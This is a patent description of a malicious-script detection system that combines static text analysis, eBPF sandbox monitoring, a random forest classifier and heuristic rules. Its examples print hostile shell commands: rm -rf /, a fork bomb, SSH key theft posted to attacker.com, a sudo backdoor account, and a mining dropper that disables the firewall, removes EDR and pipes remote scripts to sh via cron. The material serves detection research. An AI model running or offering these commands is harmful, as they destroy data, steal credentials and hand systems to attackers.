Malicious script detection method and device, equipment and storage medium

Abstract

The invention relates to a malicious script detection method and device, equipment and a storage medium, and the scheme not only can generate a static analysis result through the analysis of a script text, but also can generate a dynamic analysis result according to an operation event of a target script in a running process. And a comprehensive risk assessment result is determined through a machine learning model and a heuristic rule set. Through the mode, malicious behaviors executed by the target script in the running process can be discovered, so that the scheme can effectively detect the novel malicious script; in addition, according to the scheme, the target script is operated through the sandbox container, and the detection efficiency of the malicious script can be improved.

Description

Technical Field

[0001] The present application relates to the field of malicious script detection, and in particular to a malicious script detection method, apparatus, device and storage medium. Background Art

[0002] With the development of the Internet, network security has become one of the most critical issues in the Internet era, and malicious scripts have become the main means of network attacks in recent years. Malicious scripts are scripts used to perform unauthorized operations or damage the system. Traditional malicious script detection technology often relies on known malicious script feature libraries, which makes it difficult to effectively detect unknown or modified malicious scripts. In addition, with the continuous development of hacker technology, malicious scripts are becoming more and more diverse, and traditional detection methods are difficult to deal with, and often miss reports.

[0003] Therefore, how to accurately detect malicious scripts is a problem that those skilled in the art need to solve. Summary of the invention

[0004] The present application provides a malicious script detection method, apparatus, device and storage medium to accurately detect malicious scripts.

[0005] In a first aspect, the present application provides a method for detecting malicious scripts, comprising:

[0006] Get the target script to be analyzed;

[0007] Performing text analysis on the target script to generate static analysis results;

[0008] Run the target script through a sandbox container, obtain operation events of the target script during the running process, and generate dynamic analysis results according to the operation events;

[0009] Extracting feature vectors from the static analysis results and the dynamic analysis results, and inputting them into a machine learning model to obtain a first risk assessment result;

[0010] Matching the operation behaviors in the dynamic analysis result through a heuristic rule set to determine a second risk assessment result;

[0011] A comprehensive risk assessment result is determined based on the first risk assessment result and the second risk assessment result.

[0012] In a second aspect, the present application provides a malicious script detection device, including:

[0013] A first acquisition module is used to acquire a target script to be analyzed;

[0014] A first analysis module, used to perform text analysis on the target script and generate a static analysis result;

[0015] A second acquisition module is used to run the target script through a sandbox container and acquire operation events of the target script during the running process;

[0016] A second analysis module, used to generate a dynamic analysis result according to the operation event;

[0017] A first assessment module, used to extract feature vectors from the static analysis results and the dynamic analysis results, and input them into a machine learning model to obtain a first risk assessment result;

[0018] A second assessment module, used to match the operation behavior in the dynamic analysis result through a heuristic rule set to determine a second risk assessment result;

[0019] A result determination module is used to determine a comprehensive risk assessment result according to the first risk assessment result and the second risk assessment result.

[0020] In a third aspect, the present application provides an electronic device, including:

[0021] A processor, a memory, and a computer program stored in the memory and executable on the processor, wherein the processor executes the steps of the malicious script detection method through the computer program.

[0022] In a fourth aspect, the present application provides a computer storage medium, wherein the computer storage medium stores computer executable instructions, and the computer executable instructions are used to execute the steps of the above-mentioned malicious script detection method.

[0023] The above technical solution provided by the embodiment of the present application has the following advantages over the prior art: the embodiment of the present application provides a malicious script detection solution, which can not only generate static analysis results by analyzing the script text, but also generate dynamic analysis results according to the operation events of the target script during operation, and determine the comprehensive risk assessment results through machine learning models and heuristic rule sets. In this way, the malicious behavior executed by the target script during operation can be discovered, so the solution can effectively detect new malicious scripts; and the solution runs the target script through a sandbox container, which can improve the detection efficiency of malicious scripts. BRIEF DESCRIPTION OF THE DRAWINGS

[0024] The accompanying drawings, which are incorporated in and constitute a part of this specification, illustrate embodiments consistent with the invention and, together with the description, serve to explain the principles of the invention.

[0025] In order to more clearly illustrate the embodiments of the present invention or the technical solutions in the prior art, the drawings required for use in the embodiments or the description of the prior art will be briefly introduced below. Obviously, for ordinary technicians in this field, other drawings can be obtained based on these drawings without paying any creative labor.

[0026] One or more embodiments are exemplarily described by pictures in the corresponding drawings, and these exemplified descriptions do not constitute limitations on the embodiments. Elements with the same reference numerals in the drawings represent similar elements, and unless otherwise stated, the figures in the drawings do not constitute proportional limitations.

[0027] Figure 1 A schematic diagram of a malicious script detection method provided in an embodiment of the present application;

[0028] Figure 2 A schematic diagram of another malicious script detection method provided in an embodiment of the present application;

[0029] Figure 3 A schematic diagram of another malicious script detection method provided in an embodiment of the present application;

[0030] Figure 4 A schematic diagram of the structure of a malicious script detection device provided in an embodiment of the present application;

[0031] Figure 5 A schematic diagram of the structure of an electronic device provided in an embodiment of the present application. DETAILED DESCRIPTION

[0032] It should be noted that malicious scripts refer to any scripts that are added, changed or deleted from the software system for the purpose of causing harm or damaging system functions. The following common malicious scripts are used as examples to illustrate this.

[0033] Script 1:

[0034] Bash

[0035] #! / bin / bash

[0036] rm-rf /

[0037] When the script is executed, all files and directories under the root directory will be recursively deleted, making the system unable to run; Danger: extremely high.

[0038] Script 2:

[0039] Bash

[0040] :(){:|:&};:

[0041] Script 2 is a Fork bomb, which is an attack method that uses recursive calls to exhaust system resources. When the script is executed, the number of system processes will increase rapidly until all system resources are exhausted, causing the system to crash. Danger: High.

[0042] Script three:

[0043] Bash

[0044] #! / bin / bash

[0045] tar-czf / tmp / ssh_keys.tar.gz~ / .ssh

[0046] curl-F′file=@ / tmp / ssh_keys.tar.gz′http: / / attacker.com / upload

[0047] Among them, script three will steal the user's SSH (Secure Shell) key and send it to the attacker's server. When the script is executed, the user's SSH key will be leaked, causing the user account to be controlled by the attacker; Danger: High.

[0048] Script 4:

[0049] Bash

[0050] #! / bin / bash

[0051] useradd -m backdoor -s / bin / bash

[0052] echo'backdoor:password'|chpasswd

[0053] usermod-aG sudo backdoor

[0054] Script 4 adds a backdoor user to the system and grants it sudo (super user do, authorizing ordinary users to execute administrator commands) permissions. After executing the script, an attacker can obtain full control of the system through the backdoor user. The risk is high.

[0055] It should be noted that traditional malicious script detection methods rely on known malicious script feature libraries and are unable to effectively detect new malicious scripts. In addition, with the continuous development of hacker technology, malicious scripts are becoming smaller and smaller, and they spread faster and more diverse. Traditional security protection methods are difficult to respond in a timely manner, resulting in underreporting.

[0056] Therefore, this embodiment provides a malicious script detection method, device, equipment and storage medium to accurately detect malicious scripts.

[0057] In order to make the purpose, technical solution and advantages of the embodiments of the present application clearer, the technical solution in the embodiments of the present application will be clearly and completely described below in conjunction with the drawings in the embodiments of the present application. Obviously, the described embodiments are part of the embodiments of the present application, not all of the embodiments. Based on the embodiments in the present application, all other embodiments obtained by ordinary technicians in this field without making creative work are within the scope of protection of this application.

[0058] The disclosure below provides many different embodiments or examples to implement different structures of the present invention. In order to simplify the disclosure of the present invention, the parts and settings of specific examples are described below. Of course, they are only examples, and the purpose is not to limit the present invention. In addition, the present invention can repeat reference numbers and / or letters in different examples. This repetition is for the purpose of simplification and clarity, and does not itself indicate the relationship between the various embodiments and / or settings discussed.

[0059] See also Figure 1 , Figure 1 A schematic diagram of a malicious script detection method provided in an embodiment of the present application, the method comprising the following steps:

[0060] S101, obtaining a target script to be analyzed;

[0061] Specifically, before executing this method, first deploy the analysis engine of malicious scripts on the cloud platform, configure the cloud native cluster environment, specifically including: configuring the cluster environment, deploying microservice components, preparing sandbox containers and deploying event acquisition programs; wherein, when configuring the cluster environment, this application can use Kubernetes to configure the distributed cluster and set the deployment parameters, which include the number of nodes, the resource configuration of each node and the network configuration, wherein, this embodiment sets the minimum number of nodes to 3, the resource configuration of each node to 8CPU (Central Processing Unit, central processing unit) core, 16GB RAM (Random Access Memory, random access memory), and the network configuration to 10Gbps internal network. The microservice components deployed in this embodiment are used to execute the malicious script detection method, including task scheduling services, load balancing services, sandbox execution services, behavior monitoring services, result analysis services, result aggregation services, etc., and each service can use gRPC (Google Remote Procedure Call, remote procedure call framework) protocol communication to ensure low latency and high throughput.

[0062] When preparing a sandbox container, you first need to create a sandbox container, such as using a lightweight Linux distribution (such as Alpine Linux) to create a sandbox container and configure the container. The configuration of the container in this embodiment is specifically as follows: CPU limit: 2 cores, memory limit: 4GB, disk space: 10GB, network: NAT (Network Address Translation) mode, and export traffic limit 5Mbps. Secondly, it is also necessary to perform environmental simulation, including randomly generating system information, simulating common system services, and implanting bait files (honeypot technology), etc., wherein system information includes host name, IP (Internet Protocol) address, etc., and system services include ssh (Secure Shell) service, cron service, etc.; bait files include fake system logs and forged user data.

[0063] Furthermore, it is necessary to set the running permissions of the script to be tested and prepare input data so that the target script is required when running; finally, it is necessary to set the script execution process, including setting the specified interpreter to run the script and execution parameters. The interpreter can be bash (Bourne Again SHell, command line interpreter) or python; the execution parameters include: timeout time and resource limitation parameters. In this embodiment, the timeout time can be set according to the priority of the script, the default is 5 minutes, the CPU usage is set to a maximum of 80%, and the memory is set to a maximum of 3GB.

[0064] In this embodiment, when the sandbox container runs the target script, the operation event is obtained through the event acquisition program; this embodiment can use the eBPF (Extended Berkeley Packet Filter, kernel programming technology) mechanism to obtain the operation event. Therefore, this solution needs to compile and load the custom eBPF program into the sandbox container kernel, and set the monitoring point for obtaining the operation event; in this embodiment, the monitoring point is: system call event: open (open file), read (read data), write (write data), connect (connect), execve (call), etc.; file operation event: create, modify, delete file; network activity event: TCP (Transmission Control Protocol, Transmission Control Protocol) / UDP (User Datagram Protocol, Network Transmission Protocol) connection, data transmission; process management event: fork (create process), clone (create process), exit (terminate process); and this application can also configure event filters to reduce the collection of irrelevant data.

[0065] Specifically, when submitting an analysis task, the user can submit a request for analysis through an API (Application Programming Interface) or an interface; after the system receives the analysis request through the API, it obtains the parameters carried by the analysis request, including the script file, analysis priority, and timeout period. In this embodiment, the script to be analyzed is called a target script, and the priority includes high, medium, and low. The analysis priority can determine the analysis order of each target script, and the higher the priority, the earlier the analysis order.

[0066] After obtaining the target script, this embodiment also needs to generate a unique task ID for each target script, which can be in the format of UUID (Universally Unique Identifier); and record the task metadata, including: task submission time, target script file hash and file type identification, where the file hash can be calculated by the SHA256 algorithm, and the file type can be identified using the libmagic library. In addition, when assigning tasks, tasks are assigned to each node in a weighted round-robin manner to ensure load balancing of each node; factors affecting the weight include: the current CPU load, available memory and recent task completion rate of each node, where the higher the recent task completion rate, the higher its weight.

[0067] S102, performing text analysis on the target script to generate static analysis results;

[0068] In this embodiment, the script code can be JavaScript (programming language), VBScript (Visual Basic Script, scripting language), etc. Before static analysis of the target script is performed, the target script needs to be initially preprocessed. The initial preprocessing specifically performs operations such as removing comments and formatting the code on the input target script code. Removing comments refers to deleting comment lines in the code, and formatting the code refers to removing unnecessary spaces and line breaks, standardizing the code format, and facilitating subsequent analysis.

[0069] After obtaining the preprocessed script code, the text can be statically analyzed. The purpose of static analysis is to extract potential dangerous features in the target script, which may include at least one of: obfuscated code segments, encrypted code segments, commands, functions, strings, and constants, which are not specifically limited here. When identifying potential dangerous features, they can be identified through pre-set databases, regular expressions, etc., which are not specifically limited here.

[0070] S103, running the target script through the sandbox container, obtaining operation events of the target script during the running process, and generating dynamic analysis results according to the operation events;

[0071] In this embodiment, the sandbox container is specifically a Docker (open source application container engine) container. The use of Docker containers can achieve fast startup and low resource usage, so that a large number of concurrent script analysis requests can be effectively responded to, which is lighter and more efficient than traditional virtual machine sandboxes. In addition, in the process of running the target script through the sandbox container, this solution can specifically monitor all operation events of the target script through the eBPF mechanism; wherein, eBPF allows user-defined code to be executed safely and efficiently in the Linux kernel. By mounting the eBPF program on a specific kernel hook, events within the system, such as system call events, network activity events, file operation events, process management events, etc., can be captured and processed in real time. A lightweight, high-performance event capture mechanism is provided for sandbox analysis to ensure that malicious behavior is not missed.

[0072] It should be noted that the dynamic analysis in this embodiment refers to the identification of dangerous behaviors through operation events during the operation of the target script. Therefore, after obtaining the operation events of the target script during the operation, this application can preliminarily analyze whether there are malicious operation behaviors in the operation events. For example, if the operation events are identified to contain log deletion events and firewall disabling attempt events, it means that the target script attempts to execute two malicious operation behaviors, log deletion and firewall disabling attempts, during runtime. The relevant information of the malicious operation behaviors is recorded to generate dynamic analysis results.

[0073] S104, extracting feature vectors from the static analysis results and the dynamic analysis results, and inputting them into a machine learning model to obtain a first risk assessment result;

[0074] In this embodiment, the machine learning model is used to perform preliminary classification on the extracted feature vectors. The machine learning model can be specifically a random forest model, which is an integrated learning method that implements classification tasks by building multiple decision trees. Its advantages lie in its robustness to noisy data and its ability to handle high-dimensional data. Before using the random forest model, a large amount of labeled data is needed to train the random forest model, where the labeled data contains the behavioral characteristics of normal and malicious scripts.

[0075] Specifically, this embodiment needs to extract feature vectors from static analysis results and dynamic analysis results, where the features to be extracted from the static analysis results include command calls and string constants, and the features to be extracted from the dynamic analysis results include system call sequences, file operation frequencies, network connection times, process creation modes, etc.; and, this solution can also set the weight and dimension of each feature type, such as: if the feature vector dimension of each sample is 500, the extracted command call features occupy 100 dimensions, the system call sequence occupies 200 dimensions, etc. After obtaining the feature vector, the extracted feature vector also needs to be normalized to ensure that all features are within the same scale range, such as between 0-1; the normalization method can be Min-Max normalization, Z-score standardization, etc. The normalized feature vectors can be input into the random forest model, and the random forest model inputs these feature vectors into each tree, and the prediction results of each tree are combined to obtain the first risk assessment result.

[0076] The first risk assessment result may include the malicious probability score or malicious level output by the random forest model, and may also include a classification result preliminarily determined based on the malicious probability; wherein the malicious probability score may be set between 0 and 1, such as: after the feature vector of the target script is input into the model, the malicious probability score output is 0.75, indicating that there is a 75% probability that the behavior is malicious. In addition, the present application may also set a classification threshold to preliminarily determine whether the script is malicious or non-malicious, such as: if the classification threshold is set to 0.7, the script is considered to be a malicious script when the probability score is greater than 0.7, otherwise it is considered to be a non-malicious script.

[0077] S105, matching the operation behaviors in the dynamic analysis results through a heuristic rule set to determine a second risk assessment result;

[0078] In this embodiment, the dynamic analysis result includes the initially identified operation behavior, and the heuristic rule set is set with rules for identifying malicious operation behavior. Therefore, in this embodiment, the behavior of the target script in operation can be further evaluated by the heuristic rule set, and the malicious operation behavior can be identified by the rules in the heuristic rule set. In addition, after the malicious operation behavior is identified, the risk assessment result can be determined based on factors such as the number of malicious operation behaviors and the importance of malicious operation behaviors. The risk assessment result can be a matching score or a danger level, which is not specifically limited here, as long as it can reflect the risk level.

[0079] For example, the rules in the heuristic rule set include: deleting system logs: score = 0.8, disabling security software: score = 0.7. If the target script is detected to perform malicious operations such as deleting system logs and disabling security software, the risk assessment result is 0.8+0.7=1.5.

[0080] S106. Determine a comprehensive risk assessment result based on the first risk assessment result and the second risk assessment result.

[0081] In this embodiment, the comprehensive risk assessment result is determined by combining the first risk assessment result of the machine learning model with the second risk assessment result of the rule matching to more accurately assess the overall risk. The setting of different weights can balance the impact of the two on the final score.

[0082] Specifically, when determining the comprehensive risk assessment result based on the first risk assessment result and the second risk assessment result, the determination method of the comprehensive risk assessment result can be determined according to the types of the first risk assessment result and the second risk assessment result. If the first risk assessment result is a malicious level and the second risk assessment result is a dangerous level, the comprehensive risk assessment result is determined according to the two levels. For example, if the first risk assessment result is a high malicious level and the second risk assessment result is a high dangerous level, the comprehensive risk assessment result is that the target script has a high risk. Similarly, if the first risk assessment result is a malicious probability score and the second risk assessment result is a matching score, the comprehensive risk assessment result determined according to the two levels is: the total score after the weighting of the malicious probability score and the matching score, that is, the comprehensive risk score.

[0083] In summary, it can be seen that when detecting malicious scripts, this solution can not only generate static analysis results by analyzing the script text, but also generate dynamic analysis results based on the operation events of the target script during operation, and determine the comprehensive risk assessment results through machine learning models and heuristic rule sets. In this way, the malicious behavior executed by the target script during operation can be discovered, so this solution can effectively detect new malicious scripts; and this solution can improve the detection efficiency of malicious scripts by running the target script in a sandbox container.

[0084] Based on the above embodiments, the process of performing text analysis on the target script to generate static analysis results in this embodiment specifically includes: performing text analysis on the target script, identifying target code segments in the target script, and recording code information and positions of each target code segment; wherein the type of the target code segment includes: at least one of an obfuscated code segment, an encrypted code segment, a command, a function, a string, and a constant.

[0085] Specifically, the target code segment is used to analyze code segments with potential threats. The types of code segments include obfuscated code segments, encrypted code segments, commands, functions, strings and constants. The code information includes the type of the target code segment, obfuscation type label, encryption type label, potentially dangerous calls and other information related to the target code segment.

[0086] Here are the steps to explain:

[0087] 1. Identify potential obfuscated or encrypted code segments:

[0088] After obtaining the script code of the preprocessed target script, it is first necessary to extract the potential features in the script. This embodiment specifically includes the following features: string features, control flow features, and variable features; wherein, string features are long strings, base64 encoding, hexadecimal encoding, and other features in the script code; control flow features are complex control flow structures in the script code, such as a large number of if-else nesting, loops, etc.; variable features are a large number of unused variables or suspected obfuscated variable names in the script code, and the obfuscated variable names are randomly generated variable names. Among them, this embodiment can specifically identify the threshold of long strings through string_threshold, and identify the threshold of control flow complexity through complexity_threshold, which is not specifically limited here. By extracting the above features, a set of feature vectors can be generated to identify code segments that may be obfuscated or encrypted.

[0089] Secondly, this embodiment can analyze the above-mentioned feature vectors and script codes through a predefined known pattern library and regular expressions to identify possible obfuscation patterns or encryption patterns; in this embodiment, the known pattern library (pattern_library) contains patterns of common obfuscation techniques (such as character replacement, string concatenation, eval function call, etc.). Regular expressions (regex_patterns) are a set of regular expressions used to match common obfuscation methods, mainly targeting string features, and regular expressions can be used to match known encryption or obfuscation patterns. After the above matching, the matching pattern information can be generated, which includes the matching code segment location and the corresponding obfuscation type label and encryption type label.

[0090] Furthermore, after obtaining the pattern-matched code segment and the corresponding type label, possible encrypted segments can be further identified through string decoding, decryption function identification, and dynamic feature simulation. Among them, string decoding is used to decode the matched base64 or hex encoded string, and check whether the decoded string meets the code features. The code features can be executable code; decryption function identification is used to identify common decryption function calls (such as AES decryption) through pattern matching, and track its input parameters; dynamic feature simulation is used to perform partial simulation execution on suspicious paragraphs to determine whether new code fragments will be generated during the decryption process. Among them, in this embodiment, the maximum number of decoding attempts can be set through decode_attempts, and the common decryption function pattern can be set using decryption_patterns. After the encrypted code segment is identified in the above manner, the encryption type label can be output and its position can be recorded.

[0091] Finally, after the obfuscated code segments, encrypted code segments, and type labels and positions of each code segment of the target script are identified through the above steps, a final analysis report can be generated, and the content in the analysis report is part of the static analysis results. Among them, in this embodiment, the output format of the label can be specified by output_format, and the format can be JSON (JavaScript Object Notation) or XML (Extensible Markup Language); in the analysis report, the classification label can be output in JSON or XML format to identify the characteristics, obfuscation type and encryption type of each code segment; and the location of each suspicious code segment, such as line number, character range, etc., can be accurately recorded.

[0092] For example, if the target script is a JavaScript script containing base64 encoding, its script code is as follows:

[0093] JavaScript

[0094] var encodedString=

[0095] "ZnVuY3Rpb24gdGVzdCgpe2FsZXJ0KCJIZWxsbyBXb3JsZCEiKTt9";

[0096] eval(atob(encodedString));

[0097] This solution performs the following steps when identifying potential obfuscated or encrypted code segments:

[0098] 1.1. Remove comments and formatting codes from the code to get pure code.

[0099] 1.2. Extract features and identify base64 encoded strings and eval calls.

[0100] 1.3. Use regular expressions to match the base64 encoding pattern.

[0101] 1.4. Decode the base64 string and identify the function call features contained in it.

[0102] 1.5. Output type tags to identify eval calls and encrypted segments. The output results are as follows:

[0103] JSON

[0104] {

[0105] "code_segment":"eval(atob(encodedString));",

[0106] "tag":"Potentially Encrypted Code",

[0107] "position":"Line 2,Characters 1-32"

[0108] }

[0109] 2. Identify commands and functions:

[0110] In this embodiment, commands and function calls in the script can be scanned and compared with a known command / function database to determine which commands are legal and which may be dangerous. For example, commands such as rm-rf, ufw disable, and userdel may be signs of malicious script behavior. After comparison, the commands and functions used in the target script can be output, and potentially dangerous calls such as system commands and network operation functions can be marked.

[0111] For example, if the target script is a mining script:

[0112] Bash

[0113] #! / bin / bash

[0114] rm -rf / var / log / syslog# Clear log

[0115] ufw disable#Turn off the firewall

[0116] userdel vfinder#Uninstall EDR

[0117] / usr / local / qcloud / YunJing / uninst.sh#Uninstall EDR

[0118] wget / salt-store http: / / 416419.selcdn.ru / cdn / salt_storer#Download binary

[0119] echo "*****$LDR http: / / 217.8.117.`37 / c.sh|sh>dev / null 2&1"

[0120] |crontab-#Implant scheduled tasks

[0121] cat"$SSH_KEY_FILE">>~ / .ssh / authorized_keys

[0122] After scanning the mining script, the following dangerous commands were found in the script:

[0123] rm -rf / var / log / syslog: Clears the system log in an attempt to hide its activities.

[0124] ufw disable: Disable the firewall and expose the system.

[0125] userdel and / usr / local / qcloud / YunJing / uninst.sh: Uninstall possible security software.

[0126] wget: Download malware.

[0127] crontab: implant scheduled tasks.

[0128] 3. Identify strings and constants

[0129] In this embodiment, it is necessary to extract the strings and constants in the script, and perform pattern matching and feature extraction with the string matching rule library to identify sensitive strings and constant information in the target script, such as hard-coded paths, IP addresses, URLs, etc.

[0130] For example, in the above mining script, the following content is extracted:

[0131] URL http: / / 416419.selcdn.ru / cdn / salt_storer, which is likely the remote server used to download malicious binaries.

[0132] The IP address is http: / / 217.8.117.37 / c.sh, which is used for remote scripts to be executed at a scheduled time.

[0133] SSH key file path ~ / .ssh / authorized_keys, which may be used for privilege escalation.

[0134] It can be seen that the present application can identify obfuscated code segments or encrypted code segments through static analysis, and use the text features of the code to perform pattern matching and decoding attempts without actually executing the code, thereby ensuring the security of the analysis process; and, the present application can quickly identify common obfuscation techniques through feature extraction and pattern matching; further in-depth analysis of potential encrypted segments can be performed through string decoding and decryption function identification to ensure high accuracy; further, the present solution can identify potentially dangerous commands in the target script, as well as strings and constants that perform dangerous operations, by extracting commands, functions, strings, and constants.

[0135] See also Figure 2 , Figure 2 A schematic flow chart of another malicious script detection method provided in an embodiment of the present application, the method comprising the following steps:

[0136] S201, obtaining a target script to be analyzed;

[0137] S202, performing text analysis on the target script to generate static analysis results;

[0138] S203, running the target script through the sandbox container, and obtaining operation events of the target script during the running process through the eBPF mechanism of the sandbox container; the operation events include: system call events, network activity events, file operation events, and process management events;

[0139] S204, identifying malicious operation behaviors in operation events;

[0140] S205, matching the operation event sequence in the sliding window with the malicious behavior pattern, and searching for a first malicious operation behavior sequence whose similarity exceeds a predetermined threshold;

[0141] S206, searching for a second malicious operation behavior sequence that satisfies the malicious timing pattern according to the time intervals of the operation events;

[0142] S207, extracting feature vectors from the static analysis results and the dynamic analysis results, and inputting them into a machine learning model to obtain a first risk assessment result; the dynamic analysis result includes a malicious operation behavior, a first malicious operation behavior sequence, and a second malicious operation behavior sequence;

[0143] S208, matching the operation behaviors in the dynamic analysis results through a heuristic rule set to determine a second risk assessment result;

[0144] S209: Determine a comprehensive risk assessment result based on the first risk assessment result and the second risk assessment result.

[0145] Specifically, when the target script is running in the container, the eBPF Trace mechanism is used to obtain operation events. The operation events obtained in this embodiment include: system call events, network activity events, file operation events, and process management events, which are described separately here:

[0146] 1.1. Get system call events:

[0147] Before obtaining system call events, the eBPF program needs to be attached to the system call tracking point, such as __x64_sys_execve; if the BPF program captures a system call related to the script, it triggers event processing and records the script path, execution parameters, process ID and other information. Specifically, during the execution of the target script, the system call monitoring tool is used to record all system calls during the script execution and generate a system call log, which includes each system call event, the execution order of each system call event, parameters and call results, etc.

[0148] 1.2. Get network activity events:

[0149] In this embodiment, it is necessary to use an eBPF program to capture network socket operations and generate network activity events. The network activity events record the external IP address, port number, hash of the transmitted data content, etc. of the network activity. The network socket operations include tcp_connect, tcp_sendmsg, etc. The traffic analysis tool can be Wireshark; and the conditions for obtaining network activity events can be set as follows: when the network request is connected to an external address or involves a common mining pool IP, a corresponding network activity event is generated.

[0150] 1.3. Get file operation events:

[0151] In this embodiment, the eBPF program needs to be mounted in advance to file operation hooks such as vfs_write (write file) and vfs_read (read file); the file read and write operations of the script are recorded through the file system monitoring to generate file operation events, which include the path of the target script reading or writing the file, the operation type, the file content hash value, etc.; Among them, this embodiment can specifically monitor file read and write operations through inotify, and the operation types include CREATE (create), DELETE (delete), etc.; and, this embodiment can also set conditions for obtaining operation events, such as: setting only to obtain operation events involving sensitive directories or specific file extensions of file operations, sensitive directories can be / etc, / var, etc.; specific file extensions can be .sh, .py, etc., thereby filtering out a large number of security events.

[0152] 1.4. Get process management events;

[0153] In this embodiment, a process monitoring tool is needed to periodically record the changes in the process tree generated during the script execution, generate process management events, which include the generation and termination of child processes, and record the PID (Process Identifier, process control symbol), parent-child relationship and startup command of each process. For example, if a script generates a large number of child processes, and these processes match the characteristics of known mining processes, the suspicion increases. Among them, the monitoring tool can be ps, pstree, etc.; and the condition for obtaining network activity events can be set as: when a new process inherits the process ID or user ID of a suspicious script.

[0154] In this embodiment, when a dynamic analysis result is generated based on an operation event, malicious operation behaviors of the operation event can be specifically identified in the following manner:

[0155] 2.1. Identify malicious operation behaviors in operation events.

[0156] In this embodiment, the malicious operation behavior is a typical malicious operation performed during the execution of the malicious script, such as log deletion, SSH key operation, etc. These behaviors are completed by analyzing the captured system call events and related events and matching them with known malicious patterns. In this embodiment, the malicious operation behavior may include: log deletion behavior, firewall disable attempt behavior, user deletion behavior, suspicious software uninstall behavior, external file download behavior, scheduled task modification behavior, and SSH key operation behavior.

[0157] Specifically, when identifying log deletion behavior, it is necessary to monitor the deletion of files related to system logs, track file deletion system calls through eBPF, and identify parameters: match unlink or unlinkat calls, and the path of the target file contains / var / log. When identifying firewall disable attempts, it is necessary to capture system calls that modify iptables and ufw configurations and extract related command line parameters, such as iptables-F. The identification parameters are: capture system calls containing iptables or ufw keywords. When identifying user deletion behavior, it is necessary to monitor system calls related to user management, such as userdel; then extract parameters related to user deletion in the command line. The identification parameters are: capture system calls containing userdel or deluser. When identifying suspicious software uninstallation behavior, it is necessary to track system calls that execute package managers (such as apt-get remove, yum remove), check whether the command line parameters contain known security software, and identify parameters: match the command execution of the package manager, and involve security software packages.

[0158] When identifying external file download behavior, it is necessary to capture network activities and file write operations, monitor file downloads through tools such as wget and curl, and record the downloaded URL, file name, hash value, etc. The identification parameters are: capture the association between network socket connections and file write operations. When identifying scheduled task modification behavior, it is necessary to monitor / etc / crontab,

[0159] / var / spool / cron / crontabs and other scheduled task files, capture system calls related to scheduled task configuration files, such as open and write; identification parameters are: match system calls that access or modify cron-related files. When identifying SSH key operation behavior, it is necessary to track the read and write operations of files in the ~ / .ssh / directory, capture file operating system calls, and record the paths involving SSH key files. The identification parameters are: match file operating system calls involving the .ssh directory.

[0160] 2.2. Match the operation event sequence in the sliding window with the malicious behavior pattern, and find the first malicious operation behavior sequence whose similarity exceeds a predetermined threshold.

[0161] In this embodiment, the first malicious operation behavior sequence is identified by a context association analysis method. The context association analysis uses a sliding window technique to analyze multiple recent events in the time dimension. By applying predefined behavior pattern matching rules, the system can detect complex malicious behavior patterns and compare them with known threats.

[0162] Specifically, before executing the context association analysis method, it is necessary to first set a window size, such as the most recent 100 system call events; the event sequence and type in the sliding window are recorded for subsequent analysis, and whenever a new event is captured, the window slides and updates, and the old event is removed from the window. When identifying the first malicious operation behavior sequence, it is necessary to first set the behavior pattern matching rule, which is a predefined rule combination, such as the "external file download + scheduled task modification + firewall disable" mode; then match the event sequence in each sliding window with the malicious pattern in the rule base, and when the event in the sliding window matches a certain rule, it is marked as a potential threat; then compare the current behavior sequence with the known threat for similarity, calculate the similarity score, and when the score is higher than a certain threshold, trigger an alarm, and use the current behavior sequence as the first malicious operation behavior sequence. In this embodiment, a similarity algorithm such as Jaccard can be used to compare the current behavior sequence with the known threat behavior pattern, and the similarity threshold is set to 0.7 to ensure a high detection rate and a low false alarm rate.

[0163] Among them, when calculating the similarity between the current behavior sequence and the known threat, this embodiment can specifically match the extracted static and dynamic features with the features in the known malicious sample library, and use a hash algorithm (such as MD5, SHA-256) or similarity calculation (such as Jaccard similarity) to evaluate the similarity of the script, thereby quantifying the matching degree between the script and the known malicious samples.

[0164] 2.3. According to the time intervals of each operation event, find a second malicious operation behavior sequence that satisfies the malicious timing pattern.

[0165] In this embodiment, the timing logic rules in the malicious timing pattern are mainly used to analyze the order and time intervals of malicious behaviors. By analyzing the timing relationship of these behaviors, the accuracy of detection can be further improved.

[0166] Specifically, the temporal logic rules are rules that set the temporal relationship between key behaviors. When an event that meets the temporal logic rules is detected, a second malicious operation behavior sequence is generated to perform the subsequent analysis process. When determining the temporal relationship analysis, the time interval between behaviors is calculated using the event timestamp. If the time interval between behaviors meets the preset conditions, it is marked as a potential threat, and the time interval threshold is set between 1 minute and 10 minutes. When determining whether the temporal logic rules are met, the temporal logic of system calls, file operations, and process tree changes can be analyzed to determine whether the behavior chain meets the characteristics of typical malicious activities in the temporal logic rules, such as downloading files before executing them, or shutting down security software before tampering with files, etc.

[0167] It should be noted that after obtaining the malicious operation behavior, the first malicious operation behavior sequence, and the second malicious operation behavior sequence in the dynamic analysis results in the present application, a behavior feature aggregation operation can also be performed. Among them, the behavior feature aggregation operation is to summarize all captured malicious behavior events to generate a behavior timeline. By analyzing the timeline, key behavior sequences can be identified and further judgments and responses can be made.

[0168] Among them, when generating a behavior timeline, all captured behaviors can be arranged in chronological order; among them, the behaviors captured by this application include malicious operation behaviors, as well as malicious operation behaviors in the first malicious operation behavior sequence and the second malicious operation behavior sequence, and the event timestamp corresponding to the malicious operation behavior is used as the behavior occurrence time, so as to display the order in which each behavior occurs through the behavior timeline. Of course, the behavior timeline can also display specific information related to the malicious operation behavior, including not only the timestamp of the corresponding event, but also the event type, process ID and other information. In addition, this application can also analyze the behavior sequence in the behavior timeline and identify highly correlated behavior combinations, such as: when multiple behaviors that conform to the malicious pattern appear on the timeline, the system issues an alarm.

[0169] For example, the target script is a malicious mining script, which first downloads an external executable file, then disables the firewall, and then modifies the scheduled task to run the mining program regularly. The process of detecting malicious operation behavior through the above steps is as follows:

[0170] Execute event capture operation: The script is captured using wget to download external files and the file path and hash value are recorded. Next, the system captures the script executing the iptables-F command to disable the firewall. Finally, the system detects the modification of the scheduled task file.

[0171] Extract behavioral features: Identify three malicious operations: downloading external files, disabling firewalls, and modifying scheduled tasks.

[0172] Contextual association analysis: Since the events in the sliding window match the predefined pattern matching rule of "external file download + firewall disabled + scheduled task modification", the behavior sequence of "external file download + firewall disabled + scheduled task modification" can be determined as a malicious operation behavior sequence;

[0173] Timing logic evaluation: Through the malicious timing pattern, we analyze "external file download + firewall disabling + scheduled task modification" and determine that this behavior sequence also meets the timing requirements and occurs within the specified time interval. Therefore, the behavior sequence of "external file download + firewall disabling + scheduled task modification" is again determined to be a malicious operation behavior sequence.

